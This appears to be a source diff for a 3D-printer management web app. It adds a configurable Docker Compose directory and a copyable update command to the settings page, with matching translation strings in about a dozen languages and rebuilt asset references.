className="ml-2 p-1 rounded hover:bg-bambu-dark-tertiary text-bambu-gray hover:text-white transition-colors"
title={copied ? t('printers.copied') : t('printers.copyToClipboard')}
>
{copied ? <Check className="w-3.5 h-3.5 text-bambu-green" /> : <Copy className="w-3.5 h-3.5" />}
</button>
);
}
export function PrinterInfoModal({ printer, status, totalPrintHours, onClose }: PrinterInfoModalProps) {
const { t } = useTranslation();

View file

@ -2508,6 +2508,9 @@ export default {
updateAvailableVersion: 'Update verfügbar: v{{version}}',
releaseNotes: 'Versionshinweise',
updateViaDocker: 'Update über Docker Compose:',
composeDirectory: 'Compose-Verzeichnis',
composeDirectoryHint: 'Verzeichnis, in dem deine docker-compose.yml liegt. Leer lassen, um das cd wegzulassen.',
copyUpdateCommand: 'Update-Befehl kopieren',
updateViaHomeAssistant: 'Updates werden vom Home Assistant Supervisor verwaltet. Öffne Einstellungen → Add-ons → Bambuddy in Home Assistant, um die neue Version zu installieren.',
updateViaWindowsInstaller: 'Windows-Installationen werden durch erneutes Ausführen des Installers aktualisiert. Lade die neue Version unten herunter — deine Daten, Einstellungen und Drucker bleiben erhalten.',
downloadWindowsInstaller: 'Installer für v{{version}} herunterladen',

View file

@ -2527,6 +2527,9 @@ export default {
updateAvailableVersion: 'Update available: v{{version}}',
releaseNotes: 'Release Notes',
updateViaDocker: 'Update via Docker Compose:',
composeDirectory: 'Compose directory',
composeDirectoryHint: 'Directory containing your docker-compose.yml. Leave blank to omit the cd.',
copyUpdateCommand: 'Copy update command',
updateViaHomeAssistant: 'Updates are managed by the Home Assistant Supervisor. Open Settings → Add-ons → Bambuddy in Home Assistant to install the new version.',
updateViaWindowsInstaller: 'Windows installations are updated by re-running the installer. Download the new version below — your data, settings and printers are preserved.',
downloadWindowsInstaller: 'Download installer for v{{version}}',

View file

@ -2511,6 +2511,9 @@ export default {
updateAvailableVersion: 'Actualización disponible: v{{version}}',
releaseNotes: 'Notas de la versión',
updateViaDocker: 'Actualizar mediante Docker Compose:',
composeDirectory: 'Directorio de Compose',
composeDirectoryHint: 'Directorio que contiene tu docker-compose.yml. Déjalo vacío para omitir el cd.',
copyUpdateCommand: 'Copiar comando de actualización',
updateViaHomeAssistant: 'Las actualizaciones las gestiona el Supervisor de Home Assistant. Abra Ajustes → Complementos → Bambuddy en Home Assistant para instalar la nueva versión.',
updateViaWindowsInstaller: 'Las instalaciones en Windows se actualizan volviendo a ejecutar el instalador. Descarga la nueva versión abajo — tus datos, ajustes e impresoras se conservan.',
downloadWindowsInstaller: 'Descargar instalador para v{{version}}',

View file

@ -2458,6 +2458,9 @@ export default {
updateAvailableVersion: 'Mise à jour disponible : v{{version}}',
releaseNotes: 'Notes de version',
updateViaDocker: 'Mettre à jour via Docker Compose :',
composeDirectory: 'Répertoire Compose',
composeDirectoryHint: 'Répertoire contenant votre docker-compose.yml. Laissez vide pour omettre le cd.',
copyUpdateCommand: 'Copier la commande de mise à jour',
updateViaHomeAssistant: 'Les mises à jour sont gérées par le superviseur Home Assistant. Ouvrez Paramètres → Modules complémentaires → Bambuddy dans Home Assistant pour installer la nouvelle version.',
updateViaWindowsInstaller: "Les installations Windows se mettent à jour en relançant l'installateur. Téléchargez la nouvelle version ci-dessous — vos données, paramètres et imprimantes sont préservés.",
downloadWindowsInstaller: "Télécharger l'installateur pour la v{{version}}",

View file

@ -2457,6 +2457,9 @@ export default {
updateAvailableVersion: 'Aggiornamento disponibile: v{{version}}',
releaseNotes: 'Note di rilascio',
updateViaDocker: 'Aggiorna tramite Docker Compose:',
composeDirectory: 'Cartella Compose',
composeDirectoryHint: 'Cartella che contiene il tuo docker-compose.yml. Lascia vuoto per omettere il cd.',
copyUpdateCommand: 'Copia comando di aggiornamento',
updateViaHomeAssistant: 'Gli aggiornamenti sono gestiti dal Supervisor di Home Assistant. Apri Impostazioni → Add-on → Bambuddy in Home Assistant per installare la nuova versione.',
updateViaWindowsInstaller: 'Le installazioni Windows si aggiornano rieseguendo l\'installer. Scarica la nuova versione qui sotto — i tuoi dati, le impostazioni e le stampanti vengono mantenuti.',
downloadWindowsInstaller: 'Scarica installer per v{{version}}',

View file

@ -2507,6 +2507,9 @@ export default {
updateAvailableVersion: 'アップデート利用可能: v{{version}}',
releaseNotes: 'リリースノート',
updateViaDocker: 'Docker Composeでアップデート:',
composeDirectory: 'Compose ディレクトリ',
composeDirectoryHint: 'docker-compose.yml があるディレクトリ。空欄にすると cd を省略します。',
copyUpdateCommand: '更新コマンドをコピー',
updateViaHomeAssistant: 'アップデートはHome Assistant Supervisorによって管理されます。Home Assistantの設定→アドオン→Bambuddyを開いて新しいバージョンをインストールしてください。',
updateViaWindowsInstaller: 'Windowsインストールはインストーラーを再実行して更新します。下のリンクから新しいバージョンをダウンロードしてください — データ、設定、プリンターは保持されます。',
downloadWindowsInstaller: 'v{{version}} のインストーラーをダウンロード',

View file

@ -2373,6 +2373,9 @@ export default {
updateAvailableVersion: '업데이트 가능: v{{version}}',
releaseNotes: '릴리스 노트',
updateViaDocker: 'Docker Compose로 업데이트:',
composeDirectory: 'Compose 디렉터리',
composeDirectoryHint: 'docker-compose.yml이 있는 디렉터리입니다. 비워 두면 cd를 생략합니다.',
copyUpdateCommand: '업데이트 명령 복사',
updateViaHomeAssistant: '업데이트는 Home Assistant 수퍼바이저에서 관리됩니다. Home Assistant에서 설정 → 애드온 → Bambuddy를 열어 새 버전을 설치하세요.',
updateViaWindowsInstaller: 'Windows 설치본은 설치 프로그램을 다시 실행하여 업데이트합니다. 아래에서 새 버전을 다운로드하세요 — 데이터, 설정 및 프린터는 유지됩니다.',
downloadWindowsInstaller: 'v{{version}} 설치 프로그램 다운로드',

View file

@ -2457,6 +2457,9 @@ export default {
updateAvailableVersion: 'Atualização disponível: v{{version}}',
releaseNotes: 'Notas da versão',
updateViaDocker: 'Atualizar via Docker Compose:',
composeDirectory: 'Diretório do Compose',
composeDirectoryHint: 'Diretório que contém seu docker-compose.yml. Deixe em branco para omitir o cd.',
copyUpdateCommand: 'Copiar comando de atualização',
updateViaHomeAssistant: 'As atualizações são gerenciadas pelo Supervisor do Home Assistant. Abra Configurações → Complementos → Bambuddy no Home Assistant para instalar a nova versão.',
updateViaWindowsInstaller: 'Instalações no Windows são atualizadas executando o instalador novamente. Baixe a nova versão abaixo — seus dados, configurações e impressoras são preservados.',
downloadWindowsInstaller: 'Baixar instalador da v{{version}}',

View file

@ -2374,6 +2374,9 @@ export default {
updateAvailableVersion: "Доступно обновление: v{{version}}",
releaseNotes: "Примечания к выпуску",
updateViaDocker: "Обновление через Docker Compose:",
composeDirectory: "Каталог Compose",
composeDirectoryHint: "Каталог с вашим docker-compose.yml. Оставьте пустым, чтобы не добавлять cd.",
copyUpdateCommand: "Скопировать команду обновления",
updateViaHomeAssistant: "Обновления устанавливаются через Home Assistant Supervisor. Чтобы установить новую версию, откройте в Home Assistant: Настройки → Дополнения → Bambuddy.",
updateViaWindowsInstaller: "В Windows обновление выполняется повторным запуском установщика. Скачайте новую версию ниже — данные, настройки и принтеры сохранятся.",
downloadWindowsInstaller: "Скачать установщик v{{version}}",

View file

@ -2512,6 +2512,9 @@ export default {
updateAvailableVersion: 'Güncelleme mevcut: v{{version}}',
releaseNotes: 'Sürüm Notları',
updateViaDocker: 'Docker Compose ile güncelle:',
composeDirectory: 'Compose dizini',
composeDirectoryHint: 'docker-compose.yml dosyanızın bulunduğu dizin. cd eklenmemesi için boş bırakın.',
copyUpdateCommand: 'Güncelleme komutunu kopyala',
updateViaHomeAssistant: "Güncellemeler Home Assistant Supervisor tarafından yönetilir. Yeni sürümü yüklemek için Home Assistant'ta Ayarlar → Eklentiler → Bambuddy'ye gidin.",
updateViaWindowsInstaller: 'Windows kurulumları, kurucu yeniden çalıştırılarak güncellenir. Yeni sürümü aşağıdan indirin — verileriniz, ayarlarınız ve yazıcılarınız korunur.',
downloadWindowsInstaller: 'v{{version}} için kurucuyu indir',

View file

@ -2527,6 +2527,9 @@ export default {
updateAvailableVersion: "Доступне оновлення: v{{version}}",
releaseNotes: "Примітки до випуску",
updateViaDocker: "Оновити через Docker Написати:",
composeDirectory: "Каталог Compose",
composeDirectoryHint: "Каталог із вашим docker-compose.yml. Залиште порожнім, щоб не додавати cd.",
copyUpdateCommand: "Скопіювати команду оновлення",
updateViaHomeAssistant: "Оновленнями керує супервізор Home Assistant. Відкрийте «Налаштування» → «Додатки» → Bambuddy у Home Assistant, щоб установити нову версію.",
updateViaWindowsInstaller: "Інсталяції Windows оновлюються шляхом повторного запуску інсталятора. Завантажте нову версію нижче — ваші дані, налаштування та принтери збережуться.",
downloadWindowsInstaller: "Завантажити інсталятор для v{{version}}",

View file

@ -2502,6 +2502,9 @@ export default {
updateAvailableVersion: '可用更新v{{version}}',
releaseNotes: '发布说明',
updateViaDocker: '通过 Docker Compose 更新:',
composeDirectory: 'Compose 目录',
composeDirectoryHint: '存放 docker-compose.yml 的目录。留空则不添加 cd。',
copyUpdateCommand: '复制更新命令',
updateViaHomeAssistant: '更新由 Home Assistant Supervisor 管理。请在 Home Assistant 中打开 设置 → 加载项 → Bambuddy 以安装新版本。',
updateViaWindowsInstaller: 'Windows 安装通过重新运行安装程序来更新。请在下方下载新版本 — 您的数据、设置和打印机都会保留。',
downloadWindowsInstaller: '下载 v{{version}} 安装程序',

View file

@ -2502,6 +2502,9 @@ export default {
updateAvailableVersion: '可用更新v{{version}}',
releaseNotes: '發布說明',
updateViaDocker: '透過 Docker Compose 更新:',
composeDirectory: 'Compose 目錄',
composeDirectoryHint: '存放 docker-compose.yml 的目錄。留空則不加入 cd。',
copyUpdateCommand: '複製更新指令',
updateViaHomeAssistant: '更新由 Home Assistant Supervisor 管理。請在 Home Assistant 中開啟 設定 → 附加元件 → Bambuddy 以安裝新版本。',
updateViaWindowsInstaller: 'Windows 安裝可透過重新執行安裝程式來更新。請在下方下載新版本 — 您的資料、設定和印表機都會保留。',
downloadWindowsInstaller: '下載 v{{version}} 安裝程式',

View file

@ -17,6 +17,7 @@ import { SlicerBundlesPanel } from '../components/SlicerBundlesPanel';
import { SlicerPipelinesPanel } from '../components/SlicerPipelinesPanel';
import { CameraTokensSection } from './CameraTokensPage';
import { Collapsible } from '../components/Collapsible';
import { CopyButton } from '../components/CopyButton';
import { Button } from '../components/Button';
import { SmartPlugCard } from '../components/SmartPlugCard';
import { AddSmartPlugModal } from '../components/AddSmartPlugModal';
@ -1348,6 +1349,21 @@ export function SettingsPage() {
}, 50);
};
// #2664 (reporter pchulpjoost): `docker compose pull` only works from the
// directory holding the compose file, so the bare command the update box
// printed could not be pasted anywhere useful. The saved setting wins; when
// it is blank we fall back to whatever the backend could infer, and when
// that is blank too we print the command without a `cd` rather than a made-up
// path that would fail on paste.
const composeDir =
(localSettings?.docker_compose_dir ?? '').trim() || (updateCheck?.compose_dir_detected ?? '');
// Quoted only when it has to be. The backend restricts this field to path
// characters, so quotes, $ and backticks cannot be in it and double-quoting
// a path with a space is safe.
const composeUpdateCommand = composeDir
? `cd ${/\s/.test(composeDir) ? `"${composeDir}"` : composeDir} && docker compose pull && docker compose up -d`
: 'docker compose pull && docker compose up -d';
return (
<CardDensityProvider density="dense">
<div className="p-4 md:p-8">
@ -2706,9 +2722,33 @@ export function SettingsPage() {
<p className="text-sm text-bambu-gray mb-2">
{t('settings.updateViaDocker')}
</p>
<code className="block text-xs bg-bambu-dark p-2 rounded text-bambu-green font-mono">
docker compose pull && docker compose up -d
</code>
<div className="flex items-start gap-1">
<code className="flex-1 block text-xs bg-bambu-dark p-2 rounded text-bambu-green font-mono break-all select-all">
{composeUpdateCommand}
</code>
<CopyButton
value={composeUpdateCommand}
titleKey="settings.copyUpdateCommand"
copiedTitleKey="printers.copied"
className="ml-0 p-2 rounded hover:bg-bambu-dark text-bambu-gray hover:text-white transition-colors flex-shrink-0"
iconClassName="w-4 h-4"
/>
</div>
<label className="block mt-3">
<span className="block text-xs text-bambu-gray mb-1">
{t('settings.composeDirectory')}
</span>
<input
type="text"
value={localSettings?.docker_compose_dir ?? ''}
onChange={(e) => updateSetting('docker_compose_dir', e.target.value)}
placeholder={updateCheck?.compose_dir_detected || '/opt/bambuddy'}
className="w-full px-3 py-2 bg-bambu-dark border border-bambu-dark-tertiary rounded text-sm text-white font-mono placeholder:text-bambu-gray/60 focus:outline-none focus:border-bambu-green"
/>
<span className="block text-xs text-bambu-gray mt-1">
{t('settings.composeDirectoryHint')}
</span>
</label>
</div>
) : updateCheck?.update_method === 'windows_installer' ? (
<div className="mt-3 p-3 bg-bambu-dark-tertiary rounded-lg">

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View file

@ -26,8 +26,8 @@
<!-- Splash screens for iOS -->
<link rel="apple-touch-startup-image" href="/img/android-chrome-512x512.png" />
<script type="module" crossorigin src="/assets/index-D7Qc8rjX.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-C_6BSgrK.css">
<script type="module" crossorigin src="/assets/index-JnTmfHJF.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-D1VjN2fo.css">
</head>
<body>
<div id="root"></div>